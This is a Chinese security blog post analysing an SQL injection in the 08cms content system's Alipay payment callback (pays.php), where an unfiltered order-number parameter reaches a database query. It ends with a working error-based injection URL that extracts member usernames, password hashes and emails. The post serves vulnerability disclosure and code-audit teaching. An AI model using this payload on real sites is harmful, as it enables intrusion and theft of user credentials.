您的位置 » 首页 » 代码审计,实用工具 » 代码审计:08cms SQL注入漏洞分析及利用EXP

代码审计:08cms SQL注入漏洞分析及利用EXP

发表于4年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2013年08月31日 | 文章热度:8,964 次 全屏阅读

显示不全请点击全屏阅读

汽车的:

/include/paygate/alipay/pays.php

/* 
 *类名:alipay_notify 
 *功能:付款过程中服务器通知类 
 *详细:该页面是通知返回核心处理文件,不需要修改 
 *版本:3.1 
 *修改日期:2010-10-29 
 '说明: 
 '以下代码只是为了方便商户测试而提供的样例代码,商户可以根据自己网站的需要,按照技术文档编写,并非一定要使用该代码。 
 '该代码仅供学习和研究支付宝接口使用,只是提供一个参考。 
*/
  
require_once("class/alipay_notify.php"); 
empty($_POST) && $_POST = &$_GET;  
require_once('../pay_base.php');  包含巍峨 
$pay = new pay_base('alipay');  // 实例化 
$pay->by = 'pays'; //我们看看里面是咋写的  
$pay->order_sn = $_POST['out_trade_no']; //看看这里 没过滤就带进去了  
if(!$pay->getData()){                        //     获取数据                  
    //log_result ("order_failed"); 
    exit("fail"); 
} 
........ 
  
    function getData(){ 
            ......... 
          
switch($this->by){ 
        case 'pays': 
            $sql1 = "SELECT pid as order_id,mid,amount as totalfee FROM {$tblprefix}pays WHERE ordersn='$this->order_sn'"; 在这里来了 
            $this->status = 0; 
            break; 
      ....................................... 
        if($sql1 && $tmp = $db->fetch_one($sql1)){ //         注入 
            if(empty($key) || empty($tmp[$key]) || empty($sql2)){

EXP:

/include/paygate/alipay/pays.php?out_trade_no=22'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20concat(0x3a,mname,0x3a,password,0x3a,email,0x3a)%20from%20cms_members%20limit%200,1),FLOOR(RAND(0)*2))X%20FROM%20information_schema.tables%20GROUP%20BY%20X)a)%20AND'

 

摘自:http://www.unhonker.com/bug/1387.html

Tags:

08cms漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/3333/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)